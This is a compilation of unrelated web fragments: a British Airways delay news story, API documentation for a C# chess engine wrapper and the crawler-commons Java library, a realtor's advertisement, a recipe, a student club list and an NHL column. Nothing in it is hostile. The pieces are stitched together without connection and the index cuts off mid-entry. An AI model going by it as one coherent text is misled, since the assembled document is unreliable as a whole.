British Airways says flights hit by glitch
BA warned that there would be knock-on delays -- but declined to comment on the nature of the problem nor the number of flights affected.
by PTIBritish Airways flights were facing delays in and out of London's Heathrow and Gatwick airports on November 21 after a technical glitch overnight, the airline said. "Our teams are working hard to resolve a technical issue which is affecting some of our flights," said a spokeswoman for BA, owned by airlines group IAG.
"We have rebooked customers on to alternative flights and offered hotel accommodation where they have been unable to continue their journeys last night.
"We are very sorry for the disruption to their travel plans. We plan to operate a full flight schedule today," she added.
BA warned that there would be knock-on delays -- but declined to comment on the nature of the problem nor the number of flights affected.
"This is the latest in a long line of British Airways technical glitches causing delays and cancellations," said Rory Boland, editor of consumer magazine Which? Travel.
"Yet again it's thousands of passengers who are paying the price -- left tired, frustrated and with a lack of information and assistance from the airline."
BA suffered a computer glitch in 2016 that severely affected its global check-in system.
Meanwhile only two months ago, the airline was forced to ground its entire UK fleet for two days when pilots went on strike in a bitter and long-running pay dispute.


2 references to s_tracer
System.Management.Automation (2)
help\DscResourceHelpProvider.cs (2)
282
s_tracer
.WriteLine("Error occurred in DscResourceHelpProvider {0}", e.Message);
330
s_tracer
.WriteLine("Unable to find 'helpItems' element in file {0}", helpFile);


|
All Pawns Must Die
Simple GUI for UCI chess engine using C# and Windows Forms
|
Encapsulates a UCI protocol chess engine More...
Public Member Functions | |
| UCIChessEngine (IChessEngineProcessLoader engineLoader) | |
| Create a new UCI engine object More... | |
| void | Dispose () |
| Dispose of disposable objects More... | |
| void | OnDataReceived (object sender, DataReceivedEventArgs e) |
| Event handler for process stdout. This is where we parse responses from the chess engine More... | |
| void | SendVerboseEvent (string s) |
| Invokes subscribers to OnChessEngineVerboseOutputReceived More... | |
| void | SendReceivedEvent (string s) |
| Invokes subscribers to OnChessEngineResponseReceived More... | |
| void | CommandQueueExecutionMethod () |
| Worker Thread Method responsible for processing commands to the chess engine. When first launched, the thread will attempt to launch the engine process, then enter a wait state until work is sent (added to the queue). More... | |
| void | InitializeUciProtocol () |
| Start the UCI session with the engine. This is required before all other commands will function More... | |
| void | QuitEngine () |
| Calls the underlying Quit implementation More... | |
| void | SetPosition (string positionAsFEN) |
| Sets a new position with the chess engine More... | |
| void | ResetBoard () |
| Wraps the internal reset state. This will either reset to a standard starting position, or the initial position provided More... | |
| void | GetMoveForCurrentPosition (string timeInMilliseconds) |
| Start analyzing the current position for the best move More... | |
| void | SetOption (string optionName, string optionValue=null) |
| Sets a given option name with a value (if provided) More... | |
| void | LoadEngine (string pathToEngine) |
| Loads the engine process More... | |
Static Public Attributes | |
| static string | BestMoveResponse = "bestmove" |
| UCI "bestmove" command More... | |
| static string | IsReady = "isready" |
| UCI "isready" response More... | |
| static string | ReadyOk = "readyok" |
| UCI "readyok" command More... | |
| static string | Uci = "uci" |
| UCI "uci" command More... | |
| static string | UciOk = "uciok" |
| UCI "uciok" response More... | |
| static string | UciNewGame = "ucinewgame" |
| UCI "new game" command More... | |
| static string | UciQuit = "quit" |
| UCI "quit" command More... | |
Properties | |
| bool | Disposed [get] |
| Returns true if the object has already been disposed More... | |
| string | CommandResponse [get] |
| Last command response More... | |
| string | BestMove [get] |
| Last "best move" returned by the enine. Used to get moves for the CPU More... | |
Events | |
| EventHandler< ChessEngineResponseReceivedEventArgs > | OnChessEngineResponseReceived |
| EventHandler (delegate(s)) that will get the response event this is only used internally to the class More... | |
| EventHandler< ChessEngineResponseReceivedEventArgs > | OnChessEngineVerboseOutputReceived |
| EventHandler (delegate(s)) that will get the verbose event More... | |
| Events inherited from AllPawnsMustDie.IChessEngine | |
| EventHandler< ChessEngineResponseReceivedEventArgs > | OnChessEngineResponseReceived |
| Event fired when the engine has finished with a given command More... | |
| EventHandler< ChessEngineResponseReceivedEventArgs > | OnChessEngineVerboseOutputReceived |
| Event fired when the engine has receieved any output More... | |
Encapsulates a UCI protocol chess engine
| AllPawnsMustDie.UCIChessEngine.UCIChessEngine | ( | IChessEngineProcessLoader | engineLoader | ) |
Create a new UCI engine object
| void AllPawnsMustDie.UCIChessEngine.CommandQueueExecutionMethod | ( | ) |
Worker Thread Method responsible for processing commands to the chess engine. When first launched, the thread will attempt to launch the engine process, then enter a wait state until work is sent (added to the queue).
When signalled for work, the thread will take the next queueded item (if any) and send the command to the engine, and wait for the response triggered in the stdout callback OnDataReceieved. This will repeat so long as items are in the queue.

This thread exists for the lifetime of the owning ChessGame object
| void AllPawnsMustDie.UCIChessEngine.Dispose | ( | ) |
Dispose of disposable objects
| void AllPawnsMustDie.UCIChessEngine.GetMoveForCurrentPosition | ( | string | timeInMilliseconds | ) |
Start analyzing the current position for the best move
| timeInMilliseconds | Time in milliseconds to think at a maximum as a string, e.g. "2000" is 2 seconds |
| void AllPawnsMustDie.UCIChessEngine.InitializeUciProtocol | ( | ) |
Start the UCI session with the engine. This is required before all other commands will function
| void AllPawnsMustDie.UCIChessEngine.LoadEngine | ( | string | pathToEngine | ) |
Loads the engine process
| pathToEngine | Path to the engine process |
| void AllPawnsMustDie.UCIChessEngine.OnDataReceived | ( | object | sender, |
| DataReceivedEventArgs | e | ||
| ) |
Event handler for process stdout. This is where we parse responses from the chess engine
| sender | ignored |
| e | The string sent to stdout |
| void AllPawnsMustDie.UCIChessEngine.QuitEngine | ( | ) |
Calls the underlying Quit implementation
| void AllPawnsMustDie.UCIChessEngine.ResetBoard | ( | ) |
Wraps the internal reset state. This will either reset to a standard starting position, or the initial position provided
| void AllPawnsMustDie.UCIChessEngine.SendReceivedEvent | ( | string | s | ) |
Invokes subscribers to OnChessEngineResponseReceived
| s | String to send |
| void AllPawnsMustDie.UCIChessEngine.SendVerboseEvent | ( | string | s | ) |
Invokes subscribers to OnChessEngineVerboseOutputReceived
| s | String to send |
| void AllPawnsMustDie.UCIChessEngine.SetOption | ( | string | optionName, |
| string | optionValue = null |
||
| ) |
Sets a given option name with a value (if provided)
| optionName | engine dependent option name |
| optionValue | option dependent value |
| void AllPawnsMustDie.UCIChessEngine.SetPosition | ( | string | positionAsFEN | ) |
Sets a new position with the chess engine
| positionAsFEN | FEN for the new position |
|
static |
UCI "bestmove" command
|
static |
UCI "isready" response
|
static |
UCI "readyok" command
|
static |
UCI "uci" command
|
static |
UCI "new game" command
|
static |
UCI "uciok" response
|
static |
UCI "quit" command
|
get |
Last "best move" returned by the enine. Used to get moves for the CPU
|
get |
Last command response
|
get |
Returns true if the object has already been disposed
| EventHandler<ChessEngineResponseReceivedEventArgs> AllPawnsMustDie.UCIChessEngine.OnChessEngineResponseReceived |
EventHandler (delegate(s)) that will get the response event this is only used internally to the class
| EventHandler<ChessEngineResponseReceivedEventArgs> AllPawnsMustDie.UCIChessEngine.OnChessEngineVerboseOutputReceived |
EventHandler (delegate(s)) that will get the verbose event


As an agent who's an expert in North San Diego County, I bring a wealth of knowledge and expertise about buying and selling real estate here. It's not the same everywhere, so you need someone you can trust for up-to-date information. I am eager to serve you.
CalRE #01970158
You need someone who knows this area inside and out! I can work with you to find the right home at the right price for you, including all the neighborhood amenities that matter - not to mention the essential criteria you have for your ideal home.
When it's time to move, you need someone who will advertise your home, show to prospective buyers, negotiate the purchase contract, arrange financing, oversee the inspections, handle all necessary paperwork and supervise the closing. I can take care of everything you need, from start to close.
Oftentimes buyers don't visualize living in your home the way you do. I can make your home attractive to its ideal audience - which can help you get top dollar. Things like staging the home, making repairs or minor improvements, or even simply painting the walls can be the difference between a home resting on the market and one that's sold fast.
"This letter is to praise Frank Flores for an outstanding job as my realtor. He went out of his way to help me sell a condo in a very competitive and difficult market. Provided helpful critical advice! He marketed it so well that the first weekend I had close to 200 views on the Internet. He held at least 4 open houses to capture buyers. He spent a lot of extra time with the sale. It sold! I have lived in and sold five homes and in all that experience I have never encountered a better real estate agent than Frank! He is a dynamic salesman, agent and a great guy. Highly recommend him."
Client


typealias CallsTransformer<EachT, AllT> = OptionTransformContext.(List<EachT>) -> AllT
A callback that transforms all of the calls to the final option type.
The input list will have a size equal to the number of times the option appears on the command line.


{% extends "./layout.html" %} {% block page_title %} GOV.UK prototype kit {% endblock %} {% block content %} Sprint 2 Prototypes Pages Air cabin crew Chef Computer games tester Counsellor Dental nurse Forensic scientist Hairdresser Physiotherapist Police officer Primary school teacher Psychologist Social worker Studio sound engineer Teaching assistant TV presenter Veterinary nurse {% endblock %}


Search For A Club
#
2019 ASCE MIDPAC
3D Printing Club at SJSU
A
Abstraction
Academic Scholars Association
Accounting Innovation Group
Active Minds
Advanced Space Exploration
African American Commencement Committee
AkbayanSJSU
Alpha Kappa Psi
Alpha Phi
Alpha Tau Omega Fraternity
B
Badminton
Biomedical Engineering Society
Black Alliance of Scientists and Engineers
BlockLegion
BMEidea
Braven@SJSU Club
Bridge Engineering Student Transition Program
C
CADRE Student Organization
California Nursing Student Association
Campuses Organized and United for Good Health at San Jose State University
ChAD Club
Chi Pi Sigma
Chicano Commencement
Chinese Student Association
Choirs at SJSU
Christians on Campus
Club Archery
Club Basketball
Club Softball
Club Swimming
D
Data Science Club
Delta Gamma
Delta Sigma Phi
Design Build Fly at SJSU
Diving Club
Dragon Boat


Preparation time
less than 30 mins
Cooking time
30 mins to 1 hour
Serves
Serves 4
Succulent juicy duck breasts, charred and roasted in the pan served with tangy sticky ginger chutney.
For the chutney, heat two tablespoons of the oil in a frying pan, fry the cumin seeds for 1-2 minutes then add the sesame seeds, ginger and green chilli and season with a little salt.
Stir for 2-3 minutes and then cover the mixture with a circle of greaseproof paper and let it cook slowly for 40-45 minutes until the ginger is almost cooked.
Let the mixture cool then transfer to a food processor with the tamarind paste, palm sugar and 50ml/2fl oz water and blend to a fine paste.
Heat the remaining oil in a separate pan, add the asafoetida, red chilli and mustard seeds. As the mustard seeds pop, add the curry leaves, stir for 30 seconds then pour into the ginger chutney mixture and mix well. Set aside.

Heat a frying pan until very hot, add the duck breasts, fat side down and cook until golden brown.
Turn the duck breasts over, to seal the other side, then transfer the pan to the oven and roast for 10-12 minutes.Remove the duck from the oven and rest for 5-6 minutes.
Meanwhile, bring a pan of salted water to the boil, add the asparagus and broccoli and boil for 2-3 minutes until just tender.
Drain the asparagus and broccoli and mix with the olive oil.
Heat a griddle pan until hot, add the asparagus and broccoli and sear on each side until charred.
Remove and season with salt and freshly ground black pepper.
To serve, lay the asparagus and broccoli onto the plate. Carve the duck into slices and lay on top then place a spoonful of chutney alongside. Finish with a scattering of coriander cress.


URL Shortener Microservice
freeCodeCamp
Technologies: Node, Express, MongoDB, Mongoose, JavaScript, Bootstrap, and Angular
Get Short URL


Golden Knights’ Cody Glass, Nic Hague learn rookie lessons
by Ben GotzThere’s one lesson Golden Knights rookies Cody Glass and Nic Hague have clearly taken to heart: Don’t be late.
The two are determined to avoid any silly rookie mistakes that could get them punished or chirped at. Glass has made a habit of setting four alarms to make sure he shows up to every meeting, practice and game on time.
It’s one way the 20-year-old is adjusting to life in the NHL. He likes what he’s seen, so he wants to do whatever it takes to stick around.
“I’m very nervous when it comes to that stuff,” Glass said. “It’s very nerve-wracking for me. Obviously, you don’t want to show up late or do something wrong. I try to do my best not to do anything bad.”
Glass and Hague said there’s two other major changes they’ve experienced since becoming NHL regulars: The travel is better and the games are awe-inspiring at first.
Glass said the airline travel is a welcome change of pace from the buses his major junior team, the Portland Winterhawks, used to ride for hours at a time. He and Hague typically keep to themselves on the team plane, listening to music and playing games on their phone, such as Candy Crush.
“It’s a lot different,” Glass said. “It’s a lot nicer. Obviously, I want to try my best to stay up here as long as possible so I can have that.”
The two admitted to getting star-struck in their early games. Glass said it was “special” to share the ice with Pittsburgh Penguins center Sidney Crosby and Washington Capitals left wing Alexander Ovechkin, two players he grew up watching.
Hague said his eyes grew wide playing with Knights goaltender Marc-Andre Fleury. The netminder he watched compete for Stanley Cups was suddenly the one he was assigned to protect.
But that feeling wore off after a few games, they said. And the two began to focus on their play and what they needed to do to make sure their NHL stays were extended ones.
“The more time I spend up here, the more games I play, I start to feel a little bit more comfortable, build some confidence and just do my thing,” Hague said.
Hague’s comfort shows because he only sets two alarms every day. He laughed at Glass’ habit, but neither seemed eager to change their routines since they’ve avoided any major off-ice mistakes through 21 games.
“Not yet,” Glass said. “Knock on wood there.”
Who’s top dog on the Oilers?
Edmonton Oilers superstar Connor McDavid had an incredible week, recording hat tricks Nov. 10 and Thursday (as part of a six-point night).
But he’s still not the top scorer on his team. That honor belongs to linemate Leon Draisaitl, who had 41 points to McDavid’s 37 after Friday’s games.
Both players have legitimate cases to be the Hart Trophy (MVP) favorite through the first quarter of the season.
Battle in the Metro
The New York Islanders were 12-0-1 in their last 13 games entering Saturday, but that hasn’t been enough to get them atop the Metropolitan Division.
The division-leading Washington Capitals went 11-1-2 in their last 14 before Saturday’s games.
More Golden Knights: Follow at reviewjournal.com/GoldenKnights and @HockeyinVegas on Twitter.
RJ’s best and worst
Review-Journal hockey writer Ben Gotz gives his best and worst NHL teams each week (Record and goal differential are through Friday):
Best
1. Boston Bruins (12-3-4, +18)
Brad Marchand (13 goals, 19 assists) continues to play outstanding hockey.
2. Washington Capitals (14-3-4, +16)
Their regulation loss Friday was their first since Oct. 14.
3. New York Islanders (13-3-1, +15)
Veteran goaltender Tomas Greiss is having a career season while sharing the net with Semyon Varlamov.
4. St. Louis Blues (12-3-5, +4)
They’ve won only seven games in regulation, but credit them for being great in overtime.
5. Edmonton Oilers (13-6-2, +11)
They’re maintained their hot start because of a much-improved defense.
Worst
27. Columbus Blue Jackets (7-8-4, -18)
Young goaltender Joonas Korpisalo is struggling as a primary starter.
28. Minnesota Wild (7-11-2, -16)
Their underlying numbers aren’t bad. They just have no finishers.
29. New Jersey Devils (6-8-4, -20)
The future of pending free agent Taylor Hall figures to dominate the rest of their season.
30. Los Angeles Kings (7-11-1, -20)
Left wing Ilya Kovalchuk appears to be out of the picture after signing a three-year, $18.75 million contract in the offseason.
31. Detroit Red Wings (7-12-2, -30)
Giving up 78 goals in their first 21 games isn’t ideal.


Overview
Package
Class
Use
Tree
Deprecated
Index
Help
PREV NEXT
FRAMES
NO FRAMES
All Classes
A
B
C
D
E
F
G
H
I
K
L
N
P
R
S
T
U
V
W
_
A
abort()
- Method in class crawlercommons.fetcher.
BaseFetcher
abort()
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
AbortedFetchException
- Exception in
crawlercommons.fetcher
AbortedFetchException()
- Constructor for exception crawlercommons.fetcher.
AbortedFetchException
AbortedFetchException(String, AbortedFetchReason)
- Constructor for exception crawlercommons.fetcher.
AbortedFetchException
AbortedFetchException(String, String, AbortedFetchReason)
- Constructor for exception crawlercommons.fetcher.
AbortedFetchException
AbortedFetchReason
- Enum in
crawlercommons.fetcher
AbstractSiteMap
- Class in
crawlercommons.sitemaps
SiteMap or SiteMapIndex
AbstractSiteMap()
- Constructor for class crawlercommons.sitemaps.
AbstractSiteMap
addRule(String, boolean)
- Method in class crawlercommons.robots.
SimpleRobotRules
addSitemap(String)
- Method in class crawlercommons.robots.
BaseRobotRules
addSiteMapUrl(SiteMapURL)
- Method in class crawlercommons.sitemaps.
SiteMap
addValidMimeType(String)
- Method in class crawlercommons.fetcher.
BaseFetcher
addValidMimeTypes(Set<String>)
- Method in class crawlercommons.fetcher.
BaseFetcher
B
BaseFetcher
- Class in
crawlercommons.fetcher
BaseFetcher(int, UserAgent)
- Constructor for class crawlercommons.fetcher.
BaseFetcher
BaseFetcher.RedirectMode
- Enum in
crawlercommons.fetcher
BaseFetchException
- Exception in
crawlercommons.fetcher
BaseFetchException()
- Constructor for exception crawlercommons.fetcher.
BaseFetchException
BaseFetchException(String)
- Constructor for exception crawlercommons.fetcher.
BaseFetchException
BaseFetchException(String, String)
- Constructor for exception crawlercommons.fetcher.
BaseFetchException
BaseFetchException(String, Exception)
- Constructor for exception crawlercommons.fetcher.
BaseFetchException
BaseFetchException(String, String, Exception)
- Constructor for exception crawlercommons.fetcher.
BaseFetchException
BaseRobotRules
- Class in
crawlercommons.robots
Result from parsing a single robots.txt file - which means we get a set of rules, and a crawl-delay.
BaseRobotRules()
- Constructor for class crawlercommons.robots.
BaseRobotRules
BaseRobotsParser
- Class in
crawlercommons.robots
BaseRobotsParser()
- Constructor for class crawlercommons.robots.
BaseRobotsParser
C
clear()
- Method in class crawlercommons.fetcher.
Payload
clearRules()
- Method in class crawlercommons.robots.
SimpleRobotRules
COMMENT
- Static variable in class crawlercommons.url.
EffectiveTldFinder
compareToBase(BaseFetchException)
- Method in exception crawlercommons.fetcher.
BaseFetchException
containsKey(Object)
- Method in class crawlercommons.fetcher.
Payload
containsValue(Object)
- Method in class crawlercommons.fetcher.
Payload
convertToDate(String)
- Static method in class crawlercommons.sitemaps.
SiteMap
Convert the given date (given in an acceptable DateFormat), null if the date is not in the correct format.
crawlercommons.fetcher
- package crawlercommons.fetcher
crawlercommons.robots
- package crawlercommons.robots
crawlercommons.sitemaps
- package crawlercommons.sitemaps
crawlercommons.url
- package crawlercommons.url
createFetcher(BaseFetcher)
- Static method in class crawlercommons.robots.
RobotUtils
createFetcher(UserAgent, int)
- Static method in class crawlercommons.robots.
RobotUtils
D
DEFAULT_ACCEPT_LANGUAGE
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DEFAULT_BROWSER_VERSION
- Static variable in class crawlercommons.fetcher.
UserAgent
DEFAULT_MAX_CONNECTIONS_PER_HOST
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DEFAULT_MAX_CONTENT_SIZE
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DEFAULT_MAX_REDIRECTS
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DEFAULT_MIN_RESPONSE_RATE
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DEFAULT_REDIRECT_MODE
- Static variable in class crawlercommons.fetcher.
BaseFetcher
DOT
- Static variable in class crawlercommons.url.
EffectiveTldFinder
DOT_REGEX
- Static variable in class crawlercommons.url.
EffectiveTldFinder
E
EffectiveTldFinder
- Class in
crawlercommons.url
Given a URL's hostname, there are determining the actual domain requires knowledge of the various domain registrars and their assignment policies.
EffectiveTldFinder.EffectiveTLD
- Class in
crawlercommons.url
EffectiveTldFinder.EffectiveTLD(String)
- Constructor for class crawlercommons.url.
EffectiveTldFinder.EffectiveTLD
EncodingUtils
- Class in
crawlercommons.fetcher
EncodingUtils()
- Constructor for class crawlercommons.fetcher.
EncodingUtils
EncodingUtils.ExpandedResult
- Class in
crawlercommons.fetcher
EncodingUtils.ExpandedResult(byte[], boolean)
- Constructor for class crawlercommons.fetcher.
EncodingUtils.ExpandedResult
entrySet()
- Method in class crawlercommons.fetcher.
Payload
equals(Object)
- Method in exception crawlercommons.fetcher.
BaseFetchException
equals(Object)
- Method in class crawlercommons.fetcher.
Payload
ETLD_DATA
- Static variable in class crawlercommons.url.
EffectiveTldFinder
EXCEPTION
- Static variable in class crawlercommons.url.
EffectiveTldFinder
F
failedFetch(int)
- Method in class crawlercommons.robots.
BaseRobotsParser
The fetch of robots.txt failed, so return rules appropriate give the HTTP status code.
failedFetch(int)
- Method in class crawlercommons.robots.
SimpleRobotRulesParser
fetch(String)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
fetch(HttpRequestBase, String, Payload)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
FetchedResult
- Class in
crawlercommons.fetcher
FetchedResult(String, String, long, Metadata, byte[], String, int, Payload, String, int, String)
- Constructor for class crawlercommons.fetcher.
FetchedResult
G
get(String)
- Method in class crawlercommons.fetcher.
BaseFetcher
get(String, Payload)
- Method in class crawlercommons.fetcher.
BaseFetcher
get(Object)
- Method in class crawlercommons.fetcher.
Payload
get(String, Payload)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
getAbortReason()
- Method in exception crawlercommons.fetcher.
AbortedFetchException
getAcceptLanguage()
- Method in class crawlercommons.fetcher.
BaseFetcher
getAgentName()
- Method in class crawlercommons.fetcher.
UserAgent
getAssignedDomain(String)
- Static method in class crawlercommons.url.
EffectiveTldFinder
This method uses the effective TLD to determine which component of a FQDN is the NIC-assigned domain name.
getBaseUrl()
- Method in class crawlercommons.fetcher.
FetchedResult
getBaseUrl()
- Method in class crawlercommons.sitemaps.
SiteMap
getCause()
- Method in exception crawlercommons.fetcher.
BaseFetchException
getChangeFrequency()
- Method in class crawlercommons.sitemaps.
SiteMapURL
Return the URL's change frequency
getConnectionTimeout()
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
getContent()
- Method in class crawlercommons.fetcher.
FetchedResult
getContentLength()
- Method in class crawlercommons.fetcher.
FetchedResult
getContentType()
- Method in class crawlercommons.fetcher.
FetchedResult
getCrawlDelay()
- Method in class crawlercommons.robots.
BaseRobotRules
getDefaultMaxContentSize()
- Method in class crawlercommons.fetcher.
BaseFetcher
getDomain()
- Method in class crawlercommons.url.
EffectiveTldFinder.EffectiveTLD
getEffectiveTLD(String)
- Static method in class crawlercommons.url.
EffectiveTldFinder
getEffectiveTLDs()
- Static method in class crawlercommons.url.
EffectiveTldFinder
getError()
- Method in exception crawlercommons.sitemaps.
UnknownFormatException
getExpanded()
- Method in class crawlercommons.fetcher.
EncodingUtils.ExpandedResult
getFetchedUrl()
- Method in class crawlercommons.fetcher.
FetchedResult
getFetchTime()
- Method in class crawlercommons.fetcher.
FetchedResult
getFullDateFormat()
- Static method in class crawlercommons.sitemaps.
SiteMap
getHeaders()
- Method in class crawlercommons.fetcher.
FetchedResult
getHostAddress()
- Method in class crawlercommons.fetcher.
FetchedResult
getHttpHeaders()
- Method in exception crawlercommons.fetcher.
HttpFetchException
getHttpStatus()
- Method in exception crawlercommons.fetcher.
HttpFetchException
getHttpVersion()
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
getInstance()
- Static method in class crawlercommons.url.
EffectiveTldFinder
getLastModified()
- Method in class crawlercommons.sitemaps.
SiteMap
getLastModified()
- Method in class crawlercommons.sitemaps.
SiteMapURL
Return when this URL was last modified.
getLocalizedMessage()
- Method in exception crawlercommons.fetcher.
BaseFetchException
getMaxConnectionsPerHost()
- Method in class crawlercommons.fetcher.
BaseFetcher
getMaxContentSize(String)
- Method in class crawlercommons.fetcher.
BaseFetcher
getMaxFetchTime()
- Static method in class crawlercommons.robots.
RobotUtils
getMaxRedirects()
- Method in class crawlercommons.fetcher.
BaseFetcher
getMaxRetryCount()
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
getMaxThreads()
- Method in class crawlercommons.fetcher.
BaseFetcher
getMessage()
- Method in exception crawlercommons.fetcher.
BaseFetchException
getMessage()
- Method in exception crawlercommons.fetcher.
HttpFetchException
getMimeTypeFromContentType(String)
- Static method in class crawlercommons.fetcher.
BaseFetcher
getMinResponseRate()
- Method in class crawlercommons.fetcher.
BaseFetcher
Return the minimum response rate.
getNewBaseUrl()
- Method in class crawlercommons.fetcher.
FetchedResult
getNumRedirects()
- Method in class crawlercommons.fetcher.
FetchedResult
getNumWarnings()
- Method in class crawlercommons.robots.
SimpleRobotRulesParser
getPayload()
- Method in class crawlercommons.fetcher.
FetchedResult
getPLD(String)
- Static method in class crawlercommons.url.
PaidLevelDomain
Extract the PLD (paid-level domain) from the hostname.
getPLD(URL)
- Static method in class crawlercommons.url.
PaidLevelDomain
Extract the PLD (paid-level domain) from the URL.
getPriority()
- Method in class crawlercommons.sitemaps.
SiteMapURL
Return this URL's priority (a value between [0.0 - 1.0]).
getReason()
- Method in exception crawlercommons.fetcher.
RedirectFetchException
getRedirectedUrl()
- Method in exception crawlercommons.fetcher.
RedirectFetchException
getRedirectMode()
- Method in class crawlercommons.fetcher.
BaseFetcher
getResponseRate()
- Method in class crawlercommons.fetcher.
FetchedResult
getRobotRules(BaseFetcher, BaseRobotsParser, URL)
- Static method in class crawlercommons.robots.
RobotUtils
Externally visible, static method for use in tools and for testing.
getSitemap(URL)
- Method in class crawlercommons.sitemaps.
SiteMapIndex
Returns the Sitemap that has the given URL.
getSitemaps()
- Method in class crawlercommons.robots.
BaseRobotRules
getSitemaps()
- Method in class crawlercommons.sitemaps.
SiteMapIndex
getSiteMapUrls()
- Method in class crawlercommons.sitemaps.
SiteMap
getSocketTimeout()
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
getStackTrace()
- Method in exception crawlercommons.fetcher.
BaseFetchException
getType()
- Method in class crawlercommons.sitemaps.
SiteMap
getUrl()
- Method in exception crawlercommons.fetcher.
BaseFetchException
getUrl()
- Method in class crawlercommons.sitemaps.
AbstractSiteMap
getUrl()
- Method in class crawlercommons.sitemaps.
SiteMapURL
Return the URL.
getUserAgent()
- Method in class crawlercommons.fetcher.
BaseFetcher
getUserAgentString()
- Method in class crawlercommons.fetcher.
UserAgent
getValidMimeTypes()
- Method in class crawlercommons.fetcher.
BaseFetcher
H
hashCode()
- Method in exception crawlercommons.fetcher.
BaseFetchException
hashCode()
- Method in class crawlercommons.fetcher.
Payload
hasUnprocessedSitemap()
- Method in class crawlercommons.sitemaps.
SiteMapIndex
HttpFetchException
- Exception in
crawlercommons.fetcher
HttpFetchException()
- Constructor for exception crawlercommons.fetcher.
HttpFetchException
HttpFetchException(String, String, int, Metadata)
- Constructor for exception crawlercommons.fetcher.
HttpFetchException
I
initCause(Throwable)
- Method in exception crawlercommons.fetcher.
BaseFetchException
initialize(InputStream)
- Method in class crawlercommons.url.
EffectiveTldFinder
IOFetchException
- Exception in
crawlercommons.fetcher
IOFetchException()
- Constructor for exception crawlercommons.fetcher.
IOFetchException
IOFetchException(String, IOException)
- Constructor for exception crawlercommons.fetcher.
IOFetchException
isAllowAll()
- Method in class crawlercommons.robots.
BaseRobotRules
isAllowAll()
- Method in class crawlercommons.robots.
SimpleRobotRules
Is our ruleset set up to allow all access?
isAllowed(String)
- Method in class crawlercommons.robots.
BaseRobotRules
isAllowed(String)
- Method in class crawlercommons.robots.
SimpleRobotRules
isAllowNone()
- Method in class crawlercommons.robots.
BaseRobotRules
isAllowNone()
- Method in class crawlercommons.robots.
SimpleRobotRules
Is our ruleset set up to disallow all access?
isConfigured()
- Method in class crawlercommons.url.
EffectiveTldFinder
isDeferVisits()
- Method in class crawlercommons.robots.
BaseRobotRules
isEmpty()
- Method in class crawlercommons.fetcher.
Payload
isException()
- Method in class crawlercommons.url.
EffectiveTldFinder.EffectiveTLD
isIndex()
- Method in class crawlercommons.sitemaps.
AbstractSiteMap
isIndex()
- Method in class crawlercommons.sitemaps.
SiteMap
isIndex()
- Method in class crawlercommons.sitemaps.
SiteMapIndex
isProcessed()
- Method in class crawlercommons.sitemaps.
SiteMap
isTruncated()
- Method in class crawlercommons.fetcher.
EncodingUtils.ExpandedResult
isWild()
- Method in class crawlercommons.url.
EffectiveTldFinder.EffectiveTLD
K
keySet()
- Method in class crawlercommons.fetcher.
Payload
L
LOG
- Static variable in class crawlercommons.sitemaps.
SiteMapParser
N
nextUnprocessedSitemap()
- Method in class crawlercommons.sitemaps.
SiteMapIndex
NO_MIN_RESPONSE_RATE
- Static variable in class crawlercommons.fetcher.
BaseFetcher
NO_REDIRECTS
- Static variable in class crawlercommons.fetcher.
BaseFetcher
P
PaidLevelDomain
- Class in
crawlercommons.url
Routines to extract the PLD (paid-level domain, as per the IRLbot paper) from a hostname or URL.
PaidLevelDomain()
- Constructor for class crawlercommons.url.
PaidLevelDomain
parseContent(String, byte[], String, String)
- Method in class crawlercommons.robots.
BaseRobotsParser
Parse the robots.txt file in
, and return rules appropriate for processing paths by
parseContent(String, byte[], String, String)
- Method in class crawlercommons.robots.
SimpleRobotRulesParser
parseSiteMap(String, byte[], SiteMap)
- Method in class crawlercommons.sitemaps.
SiteMapParser
Returned a processed copy of an unprocessed sitemap object, i.e.
parseSiteMap(String, byte[], URL)
- Method in class crawlercommons.sitemaps.
SiteMapParser
Returns a SiteMap or SiteMapIndex given a content type, byte content and the URL of a sitemap
Payload
- Class in
crawlercommons.fetcher
Payload()
- Constructor for class crawlercommons.fetcher.
Payload
printStackTrace()
- Method in exception crawlercommons.fetcher.
BaseFetchException
printStackTrace(PrintStream)
- Method in exception crawlercommons.fetcher.
BaseFetchException
printStackTrace(PrintWriter)
- Method in exception crawlercommons.fetcher.
BaseFetchException
processDeflateEncoded(byte[])
- Static method in class crawlercommons.fetcher.
EncodingUtils
processDeflateEncoded(byte[], int)
- Static method in class crawlercommons.fetcher.
EncodingUtils
processGzipEncoded(byte[])
- Static method in class crawlercommons.fetcher.
EncodingUtils
processGzipEncoded(byte[], int)
- Static method in class crawlercommons.fetcher.
EncodingUtils
put(String, Object)
- Method in class crawlercommons.fetcher.
Payload
putAll(Map<? extends String, ? extends Object>)
- Method in class crawlercommons.fetcher.
Payload
R
readBaseFields(DataInput)
- Method in exception crawlercommons.fetcher.
BaseFetchException
RedirectFetchException
- Exception in
crawlercommons.fetcher
RedirectFetchException()
- Constructor for exception crawlercommons.fetcher.
RedirectFetchException
RedirectFetchException(String, String, RedirectFetchException.RedirectExceptionReason)
- Constructor for exception crawlercommons.fetcher.
RedirectFetchException
RedirectFetchException.RedirectExceptionReason
- Enum in
crawlercommons.fetcher
remove(Object)
- Method in class crawlercommons.fetcher.
Payload
RobotUtils
- Class in
crawlercommons.robots
RobotUtils()
- Constructor for class crawlercommons.robots.
RobotUtils
S
setAcceptLanguage(String)
- Method in class crawlercommons.fetcher.
BaseFetcher
setChangeFrequency(SiteMapURL.ChangeFrequency)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL's change frequency
setChangeFrequency(String)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL's change frequency
setConnectionTimeout(int)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
setCrawlDelay(long)
- Method in class crawlercommons.robots.
BaseRobotRules
setDefaultMaxContentSize(int)
- Method in class crawlercommons.fetcher.
BaseFetcher
setDeferVisits(boolean)
- Method in class crawlercommons.robots.
